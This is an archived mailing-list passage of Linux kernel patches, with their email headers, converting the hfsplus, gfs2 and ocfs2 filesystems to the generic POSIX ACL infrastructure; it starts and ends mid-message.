ACL infrastructure Content-Disposition: inline; filename=0011-hfsplus-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387545935 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Signed-off-by: Christoph Hellwig Reviewed-by: Vyacheslav Dubeyko --- fs/hfsplus/acl.h | 9 +-- fs/hfsplus/dir.c | 1 + fs/hfsplus/inode.c | 3 +- fs/hfsplus/posix_acl.c | 168 +++++------------------------------------------- fs/hfsplus/xattr.c | 5 +- fs/hfsplus/xattr.h | 2 - 6 files changed, 26 insertions(+), 162 deletions(-) diff --git a/fs/hfsplus/acl.h b/fs/hfsplus/acl.h index 07c0d49..95c8ed9 100644 --- a/fs/hfsplus/acl.h +++ b/fs/hfsplus/acl.h @@ -12,16 +12,13 @@ /* posix_acl.c */ struct posix_acl *hfsplus_get_posix_acl(struct inode *inode, int type); -extern int hfsplus_posix_acl_chmod(struct inode *); +int hfsplus_set_posix_acl(struct inode *inode, struct posix_acl *acl, + int type); extern int hfsplus_init_posix_acl(struct inode *, struct inode *); #else /* CONFIG_HFSPLUS_FS_POSIX_ACL */ #define hfsplus_get_posix_acl NULL - -static inline int hfsplus_posix_acl_chmod(struct inode *inode) -{ - return 0; -} +#define hfsplus_set_posix_acl NULL static inline int hfsplus_init_posix_acl(struct inode *inode, struct inode *dir) { diff --git a/fs/hfsplus/dir.c b/fs/hfsplus/dir.c index 4a4fea0..9ee6298 100644 --- a/fs/hfsplus/dir.c +++ b/fs/hfsplus/dir.c @@ -532,6 +532,7 @@ const struct inode_operations hfsplus_dir_inode_operations = { .removexattr = hfsplus_removexattr, #ifdef CONFIG_HFSPLUS_FS_POSIX_ACL .get_acl = hfsplus_get_posix_acl, + .set_acl = hfsplus_set_posix_acl, #endif }; diff --git a/fs/hfsplus/inode.c b/fs/hfsplus/inode.c index 37213d0..2e10993 100644 --- a/fs/hfsplus/inode.c +++ b/fs/hfsplus/inode.c @@ -319,7 +319,7 @@ static int hfsplus_setattr(struct dentry *dentry, struct iattr *attr) mark_inode_dirty(inode); if (attr->ia_valid & ATTR_MODE) { - error = hfsplus_posix_acl_chmod(inode); + error = posix_acl_chmod(inode, inode->i_mode); if (unlikely(error)) return error; } @@ -393,6 +393,7 @@ static const struct inode_operations hfsplus_file_inode_operations = { .removexattr = hfsplus_removexattr, #ifdef CONFIG_HFSPLUS_FS_POSIX_ACL .get_acl = hfsplus_get_posix_acl, + .set_acl = hfsplus_set_posix_acl, #endif }; diff --git a/fs/hfsplus/posix_acl.c b/fs/hfsplus/posix_acl.c index 277942f..df0c9af 100644 --- a/fs/hfsplus/posix_acl.c +++ b/fs/hfsplus/posix_acl.c @@ -17,9 +17,7 @@ struct posix_acl *hfsplus_get_posix_acl(struct inode *inode, int type) char *value = NULL; ssize_t size; - acl = get_cached_acl(inode, type); - if (acl != ACL_NOT_CACHED) - return acl; + hfs_dbg(ACL_MOD, "[%s]: ino %lu\n", __func__, inode->i_ino); switch (type) { case ACL_TYPE_ACCESS: @@ -56,17 +54,15 @@ struct posix_acl *hfsplus_get_posix_acl(struct inode *inode, int type) return acl; } -static int hfsplus_set_posix_acl(struct inode *inode, - int type, - struct posix_acl *acl) +int hfsplus_set_posix_acl(struct inode *inode, struct posix_acl *acl, + int type) { int err; char *xattr_name; size_t size = 0; char *value = NULL; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; + hfs_dbg(ACL_MOD, "[%s]: ino %lu\n", __func__, inode->i_ino); switch (type) { case ACL_TYPE_ACCESS: @@ -115,7 +111,7 @@ end_set_acl: int hfsplus_init_posix_acl(struct inode *inode, struct inode *dir) { int err = 0; - struct posix_acl *acl = NULL; + struct posix_acl *default_acl, *acl; hfs_dbg(ACL_MOD, "[%s]: ino %lu, dir->ino %lu\n", @@ -124,151 +120,21 @@ int hfsplus_init_posix_acl(struct inode *inode, struct inode *dir) if (S_ISLNK(inode->i_mode)) return 0; - acl = hfsplus_get_posix_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - - if (acl) { - if (S_ISDIR(inode->i_mode)) { - err = hfsplus_set_posix_acl(inode, - ACL_TYPE_DEFAULT, - acl); - if (unlikely(err)) - goto init_acl_cleanup; - } - - err = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); - if (unlikely(err < 0)) - return err; - - if (err > 0) - err = hfsplus_set_posix_acl(inode, - ACL_TYPE_ACCESS, - acl); - } else - inode->i_mode &= ~current_umask(); - -init_acl_cleanup: - posix_acl_release(acl); - return err; -} - -int hfsplus_posix_acl_chmod(struct inode *inode) -{ - int err; - struct posix_acl *acl; - - hfs_dbg(ACL_MOD, "[%s]: ino %lu\n", __func__, inode->i_ino); - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - acl = hfsplus_get_posix_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - - err = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (unlikely(err)) + err = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (err) return err; - err = hfsplus_set_posix_acl(inode, ACL_TYPE_ACCESS, acl); - posix_acl_release(acl); - return err; -} - -static int hfsplus_xattr_get_posix_acl(struct dentry *dentry, - const char *name, - void *buffer, - size_t size, - int type) -{ - int err = 0; - struct posix_acl *acl; - - hfs_dbg(ACL_MOD, - "[%s]: ino %lu, buffer %p, size %zu, type %#x\n", - __func__, dentry->d_inode->i_ino, buffer, size, type); - - if (strcmp(name, "") != 0) - return -EINVAL; - - acl = hfsplus_get_posix_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - - err = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return err; -} - -static int hfsplus_xattr_set_posix_acl(struct dentry *dentry, - const char *name, - const void *value, - size_t size, - int flags, - int type) -{ - int err = 0; - struct inode *inode = dentry->d_inode; - struct posix_acl *acl = NULL; - - hfs_dbg(ACL_MOD, - "[%s]: ino %lu, value %p, size %zu, flags %#x, type %#x\n", - __func__, inode->i_ino, value, size, flags, type); - - if (strcmp(name, "") != 0) - return -EINVAL; - - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - else if (acl) { - err = posix_acl_valid(acl); - if (err) - goto end_xattr_set_acl; - } + if (default_acl) { + err = hfsplus_set_posix_acl(inode, default_acl, + ACL_TYPE_DEFAULT); + posix_acl_release(default_acl); } - err = hfsplus_set_posix_acl(inode, type, acl); - -end_xattr_set_acl: - posix_acl_release(acl); + if (acl) { + if (!err) + err = hfsplus_set_posix_acl(inode, acl, + ACL_TYPE_ACCESS); + posix_acl_release(acl); + } return err; } - -static size_t hfsplus_xattr_list_posix_acl(struct dentry *dentry, - char *list, - size_t list_size, - const char *name, - size_t name_len, - int type) -{ - /* - * This method is not used. - * It is used hfsplus_listxattr() instead of generic_listxattr(). - */ - return -EOPNOTSUPP; -} - -const struct xattr_handler hfsplus_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = hfsplus_xattr_list_posix_acl, - .get = hfsplus_xattr_get_posix_acl, - .set = hfsplus_xattr_set_posix_acl, -}; - -const struct xattr_handler hfsplus_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = hfsplus_xattr_list_posix_acl, - .get = hfsplus_xattr_get_posix_acl, - .set = hfsplus_xattr_set_posix_acl, -}; diff --git a/fs/hfsplus/xattr.c b/fs/hfsplus/xattr.c index 3c6136f..bf88baa 100644 --- a/fs/hfsplus/xattr.c +++ b/fs/hfsplus/xattr.c @@ -7,6 +7,7 @@ */ #include "hfsplus_fs.h" +#include #include "xattr.h" #include "acl.h" @@ -15,8 +16,8 @@ const struct xattr_handler *hfsplus_xattr_handlers[] = { &hfsplus_xattr_user_handler, &hfsplus_xattr_trusted_handler, #ifdef CONFIG_HFSPLUS_FS_POSIX_ACL - &hfsplus_xattr_acl_access_handler, - &hfsplus_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif &hfsplus_xattr_security_handler, NULL diff --git a/fs/hfsplus/xattr.h b/fs/hfsplus/xattr.h index 841b569..9e21449 100644 --- a/fs/hfsplus/xattr.h +++ b/fs/hfsplus/xattr.h @@ -14,8 +14,6 @@ extern const struct xattr_handler hfsplus_xattr_osx_handler; extern const struct xattr_handler hfsplus_xattr_user_handler; extern const struct xattr_handler hfsplus_xattr_trusted_handler; -extern const struct xattr_handler hfsplus_xattr_acl_access_handler; -extern const struct xattr_handler hfsplus_xattr_acl_default_handler; extern const struct xattr_handler hfsplus_xattr_security_handler; extern const struct xattr_handler *hfsplus_xattr_handlers[]; -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BD90C29E2F for ; Fri, 20 Dec 2013 07:25:38 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9A2C1304090 for ; Fri, 20 Dec 2013 05:25:38 -0800 (PST) X-ASG-Debug-ID: 1387545936-04cbb04166864450001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id vDxGP9Z29yJGK2ky (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:37 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04y-0003Ll-A5; Fri, 20 Dec 2013 13:25:24 +0000 Message-Id: <20131220132524.182933314@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:52 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: [PATCH 17/21] gfs2: use generic posix ACL infrastructure References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 17/21] gfs2: use generic posix ACL infrastructure Content-Disposition: inline; filename=0017-gfs2-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1387545936 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This contains some major refactoring for the create path so that inodes are created with the right mode to start with instead of fixing it up later. Signed-off-by: Christoph Hellwig --- fs/gfs2/acl.c | 234 +++++++------------------------------------------------ fs/gfs2/acl.h | 4 +- fs/gfs2/inode.c | 34 ++++++-- fs/gfs2/xattr.c | 4 +- 4 files changed, 62 insertions(+), 214 deletions(-) diff --git a/fs/gfs2/acl.c b/fs/gfs2/acl.c index e82e4ac..ba94566 100644 --- a/fs/gfs2/acl.c +++ b/fs/gfs2/acl.c @@ -49,10 +49,6 @@ struct posix_acl *gfs2_get_acl(struct inode *inode, int type) if (!ip->i_eattr) return NULL; - acl = get_cached_acl(&ip->i_inode, type); - if (acl != ACL_NOT_CACHED) - return acl; - name = gfs2_acl_name(type); if (name == NULL) return ERR_PTR(-EINVAL); @@ -80,7 +76,7 @@ static int gfs2_set_mode(struct inode *inode, umode_t mode) return error; } -static int gfs2_acl_set(struct inode *inode, int type, struct posix_acl *acl) +int gfs2_set_acl(struct inode *inode, struct posix_acl *acl, int type) { int error; int len; @@ -88,219 +84,49 @@ static int gfs2_acl_set(struct inode *inode, int type, struct posix_acl *acl) const char *name = gfs2_acl_name(type); BUG_ON(name == NULL); - len = posix_acl_to_xattr(&init_user_ns, acl, NULL, 0); - if (len == 0) - return 0; - data = kmalloc(len, GFP_NOFS); - if (data == NULL) - return -ENOMEM; - error = posix_acl_to_xattr(&init_user_ns, acl, data, len); - if (error < 0) - goto out; - error = __gfs2_xattr_set(inode, name, data, len, 0, GFS2_EATYPE_SYS); - if (!error) - set_cached_acl(inode, type, acl); -out: - kfree(data); - return error; -} - -int gfs2_acl_create(struct gfs2_inode *dip, struct inode *inode) -{ - struct gfs2_sbd *sdp = GFS2_SB(&dip->i_inode); - struct posix_acl *acl; - umode_t mode = inode->i_mode; - int error = 0; - - if (!sdp->sd_args.ar_posix_acl) - return 0; - if (S_ISLNK(inode->i_mode)) - return 0; - - acl = gfs2_get_acl(&dip->i_inode, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (!acl) { - mode &= ~current_umask(); - return gfs2_set_mode(inode, mode); - } - - if (S_ISDIR(inode->i_mode)) { - error = gfs2_acl_set(inode, ACL_TYPE_DEFAULT, acl); - if (error) - goto out; - } - - error = __posix_acl_create(&acl, GFP_NOFS, &mode); - if (error < 0) - return error; - if (error == 0) - goto munge; - - error = gfs2_acl_set(inode, ACL_TYPE_ACCESS, acl); - if (error) - goto out; -munge: - error = gfs2_set_mode(inode, mode); -out: - posix_acl_release(acl); - return error; -} - -int gfs2_acl_chmod(struct gfs2_inode *ip, struct iattr *attr) -{ - struct inode *inode = &ip->i_inode; - struct posix_acl *acl; - char *data; - unsigned int len; - int error; - - acl = gfs2_get_acl(&ip->i_inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (!acl) - return gfs2_setattr_simple(inode, attr); - - error = __posix_acl_chmod(&acl, GFP_NOFS, attr->ia_mode); - if (error) - return error; - - len = posix_acl_to_xattr(&init_user_ns, acl, NULL, 0); - data = kmalloc(len, GFP_NOFS); - error = -ENOMEM; - if (data == NULL) - goto out; - posix_acl_to_xattr(&init_user_ns, acl, data, len); - error = gfs2_xattr_acl_chmod(ip, attr, data); - kfree(data); - set_cached_acl(&ip->i_inode, ACL_TYPE_ACCESS, acl); - -out: - posix_acl_release(acl); - return error; -} - -static int gfs2_acl_type(const char *name) -{ - if (strcmp(name, GFS2_POSIX_ACL_ACCESS) == 0) - return ACL_TYPE_ACCESS; - if (strcmp(name, GFS2_POSIX_ACL_DEFAULT) == 0) - return ACL_TYPE_DEFAULT; - return -EINVAL; -} - -static int gfs2_xattr_system_get(struct dentry *dentry, const char *name, - void *buffer, size_t size, int xtype) -{ - struct inode *inode = dentry->d_inode; - struct gfs2_sbd *sdp = GFS2_SB(inode); - struct posix_acl *acl; - int type; - int error; - - if (!sdp->sd_args.ar_posix_acl) - return -EOPNOTSUPP; - - type = gfs2_acl_type(name); - if (type < 0) - return type; - - acl = gfs2_get_acl(inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return error; -} - -static int gfs2_xattr_system_set(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags, - int xtype) -{ - struct inode *inode = dentry->d_inode; - struct gfs2_sbd *sdp = GFS2_SB(inode); - struct posix_acl *acl = NULL; - int error = 0, type; - - if (!sdp->sd_args.ar_posix_acl) - return -EOPNOTSUPP; - - type = gfs2_acl_type(name); - if (type < 0) - return type; - if (flags & XATTR_CREATE) - return -EINVAL; - if (type == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) - return value ? -EACCES : 0; - if (!uid_eq(current_fsuid(), inode->i_uid) && !capable(CAP_FOWNER)) - return -EPERM; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - if (!value) - goto set_acl; - - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (!acl) { - /* - * acl_set_file(3) may request that we set default ACLs with - * zero length -- defend (gracefully) against that here. - */ - goto out; - } - if (IS_ERR(acl)) { - error = PTR_ERR(acl); - goto out; - } - - error = posix_acl_valid(acl); - if (error) - goto out_release; - - error = -EINVAL; if (acl->a_count > GFS2_ACL_MAX_ENTRIES) - goto out_release; + return -EINVAL; if (type == ACL_TYPE_ACCESS) { umode_t mode = inode->i_mode; + error = posix_acl_equiv_mode(acl, &mode); + if (error < 0) + return error; - if (error <= 0) { - posix_acl_release(acl); + if (error == 0) acl = NULL; - if (error < 0) - return error; - } - error = gfs2_set_mode(inode, mode); if (error) - goto out_release; + return error; } -set_acl: - error = __gfs2_xattr_set(inode, name, value, size, 0, GFS2_EATYPE_SYS); - if (!error) { - if (acl) - set_cached_acl(inode, type, acl); - else - forget_cached_acl(inode, type); + if (acl) { + len = posix_acl_to_xattr(&init_user_ns, acl, NULL, 0); + if (len == 0) + return 0; + data = kmalloc(len, GFP_NOFS); + if (data == NULL) + return -ENOMEM; + error = posix_acl_to_xattr(&init_user_ns, acl, data, len); + if (error < 0) + goto out; + } else { + data = NULL; + len = 0; } -out_release: - posix_acl_release(acl); + + error = __gfs2_xattr_set(inode, name, data, len, 0, GFS2_EATYPE_SYS); + if (error) + goto out; + + if (acl) + set_cached_acl(inode, type, acl); + else + forget_cached_acl(inode, type); out: + kfree(data); return error; } - -const struct xattr_handler gfs2_xattr_system_handler = { - .prefix = XATTR_SYSTEM_PREFIX, - .flags = GFS2_EATYPE_SYS, - .get = gfs2_xattr_system_get, - .set = gfs2_xattr_system_set, -}; - diff --git a/fs/gfs2/acl.h b/fs/gfs2/acl.h index 0da38dc..301260c 100644 --- a/fs/gfs2/acl.h +++ b/fs/gfs2/acl.h @@ -17,8 +17,6 @@ #define GFS2_ACL_MAX_ENTRIES 25 extern struct posix_acl *gfs2_get_acl(struct inode *inode, int type); -extern int gfs2_acl_create(struct gfs2_inode *dip, struct inode *inode); -extern int gfs2_acl_chmod(struct gfs2_inode *ip, struct iattr *attr); -extern const struct xattr_handler gfs2_xattr_system_handler; +extern int gfs2_set_acl(struct inode *inode, struct posix_acl *acl, int type); #endif /* __ACL_DOT_H__ */ diff --git a/fs/gfs2/inode.c b/fs/gfs2/inode.c index 7119504..d573125 100644 --- a/fs/gfs2/inode.c +++ b/fs/gfs2/inode.c @@ -552,6 +552,7 @@ static int gfs2_create_inode(struct inode *dir, struct dentry *dentry, unsigned int size, int excl, int *opened) { const struct qstr *name = &dentry->d_name; + struct posix_acl *default_acl, *acl; struct gfs2_holder ghs[2]; struct inode *inode = NULL; struct gfs2_inode *dip = GFS2_I(dir), *ip; @@ -611,10 +612,14 @@ static int gfs2_create_inode(struct inode *dir, struct dentry *dentry, if (!inode) goto fail_gunlock; + error = posix_acl_create(dir, &mode, &default_acl, &acl); + if (error) + goto fail_free_vfs_inode; + ip = GFS2_I(inode); error = gfs2_rs_alloc(ip); if (error) - goto fail_free_inode; + goto fail_free_acls; inode->i_mode = mode; set_nlink(inode, S_ISDIR(mode) ? 2 : 1); @@ -682,7 +687,16 @@ static int gfs2_create_inode(struct inode *dir, struct dentry *dentry, gfs2_set_iop(inode); insert_inode_hash(inode); - error = gfs2_acl_create(dip, inode); + if (default_acl) { + error = gfs2_set_acl(inode, default_acl, ACL_TYPE_DEFAULT); + posix_acl_release(default_acl); + } + if (acl) { + if (!error) + error = gfs2_set_acl(inode, acl, ACL_TYPE_ACCESS); + posix_acl_release(acl); + } + if (error) goto fail_gunlock3; @@ -716,6 +730,12 @@ fail_free_inode: if (ip->i_gl) gfs2_glock_put(ip->i_gl); gfs2_rs_delete(ip, NULL); +fail_free_acls: + if (default_acl) + posix_acl_release(default_acl); + if (acl) + posix_acl_release(acl); +fail_free_vfs_inode: free_inode_nonrcu(inode); inode = NULL; fail_gunlock: @@ -1678,10 +1698,11 @@ static int gfs2_setattr(struct dentry *dentry, struct iattr *attr) error = gfs2_setattr_size(inode, attr->ia_size); else if (attr->ia_valid & (ATTR_UID | ATTR_GID)) error = setattr_chown(inode, attr); - else if ((attr->ia_valid & ATTR_MODE) && IS_POSIXACL(inode)) - error = gfs2_acl_chmod(ip, attr); - else + else { error = gfs2_setattr_simple(inode, attr); + if (!error && attr->ia_valid & ATTR_MODE) + error = posix_acl_chmod(inode, inode->i_mode); + } out: if (!error) @@ -1841,6 +1862,7 @@ const struct inode_operations gfs2_file_iops = { .removexattr = gfs2_removexattr, .fiemap = gfs2_fiemap, .get_acl = gfs2_get_acl, + .set_acl = gfs2_set_acl, }; const struct inode_operations gfs2_dir_iops = { @@ -1862,6 +1884,7 @@ const struct inode_operations gfs2_dir_iops = { .removexattr = gfs2_removexattr, .fiemap = gfs2_fiemap, .get_acl = gfs2_get_acl, + .set_acl = gfs2_set_acl, .atomic_open = gfs2_atomic_open, }; @@ -1877,6 +1900,5 @@ const struct inode_operations gfs2_symlink_iops = { .listxattr = gfs2_listxattr, .removexattr = gfs2_removexattr, .fiemap = gfs2_fiemap, - .get_acl = gfs2_get_acl, }; diff --git a/fs/gfs2/xattr.c b/fs/gfs2/xattr.c index 8c6a6f6..0b81f78 100644 --- a/fs/gfs2/xattr.c +++ b/fs/gfs2/xattr.c @@ -13,6 +13,7 @@ #include #include #include +#include #include #include "gfs2.h" @@ -1500,7 +1501,8 @@ static const struct xattr_handler gfs2_xattr_security_handler = { const struct xattr_handler *gfs2_xattr_handlers[] = { &gfs2_xattr_user_handler, &gfs2_xattr_security_handler, - &gfs2_xattr_system_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, NULL, }; -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C803C29E0F for ; Fri, 20 Dec 2013 07:25:38 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A51CB8F807A for ; Fri, 20 Dec 2013 05:25:38 -0800 (PST) X-ASG-Debug-ID: 1387545936-04cbb04169864450001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id BkxU8nq2TJe0cYce (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:37 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04x-0003JH-Hk; Fri, 20 Dec 2013 13:25:23 +0000 Message-Id: <20131220132523.424551703@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:48 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: [PATCH 13/21] ocfs2: use generic posix ACL infrastructure References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 13/21] ocfs2: use generic posix ACL infrastructure Content-Disposition: inline; filename=0013-ocfs2-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1387545937 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This contains some major refactoring for the create path so that inodes are created with the right mode to start with instead of fixing it up later. Signed-off-by: Christoph Hellwig --- fs/ocfs2/acl.c | 234 ++--------------------------------------------- fs/ocfs2/acl.h | 13 ++- fs/ocfs2/file.c | 4 +- fs/ocfs2/namei.c | 25 ++++- fs/ocfs2/refcounttree.c | 19 +++- fs/ocfs2/xattr.c | 21 +++-- fs/ocfs2/xattr.h | 6 +- 7 files changed, 72 insertions(+), 250 deletions(-) diff --git a/fs/ocfs2/acl.c b/fs/ocfs2/acl.c index c0f9d2f..555f4cd 100644 --- a/fs/ocfs2/acl.c +++ b/fs/ocfs2/acl.c @@ -160,36 +160,6 @@ static struct posix_acl *ocfs2_get_acl_nolock(struct inode *inode, return acl; } - -/* - * Get posix acl. - */ -static struct posix_acl *ocfs2_get_acl(struct inode *inode, int type) -{ - struct ocfs2_super *osb = OCFS2_SB(inode->i_sb); - struct buffer_head *di_bh = NULL; - struct posix_acl *acl; - int ret; - - if (!(osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL)) - return NULL; - - ret = ocfs2_inode_lock(inode, &di_bh, 0); - if (ret < 0) { - mlog_errno(ret); - acl = ERR_PTR(ret); - return acl; - } - - acl = ocfs2_get_acl_nolock(inode, type, di_bh); - - ocfs2_inode_unlock(inode, 0); - - brelse(di_bh); - - return acl; -} - /* * Helper function to set i_mode in memory and disk. Some call paths * will not have di_bh or a journal handle to pass, in which case it @@ -250,7 +220,7 @@ out: /* * Set the access or default ACL of an inode. */ -static int ocfs2_set_acl(handle_t *handle, +int ocfs2_set_acl(handle_t *handle, struct inode *inode, struct buffer_head *di_bh, int type, @@ -313,6 +283,11 @@ static int ocfs2_set_acl(handle_t *handle, return ret; } +int ocfs2_iop_set_acl(struct inode *inode, struct posix_acl *acl, int type) +{ + return ocfs2_set_acl(NULL, inode, NULL, type, acl, NULL, NULL); +} + struct posix_acl *ocfs2_iop_get_acl(struct inode *inode, int type) { struct ocfs2_super *osb; @@ -334,200 +309,3 @@ struct posix_acl *ocfs2_iop_get_acl(struct inode *inode, int type) return acl; } - -int ocfs2_acl_chmod(struct inode *inode) -{ - struct ocfs2_super *osb = OCFS2_SB(inode->i_sb); - struct posix_acl *acl; - int ret; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - if (!(osb->s_mount_opt & 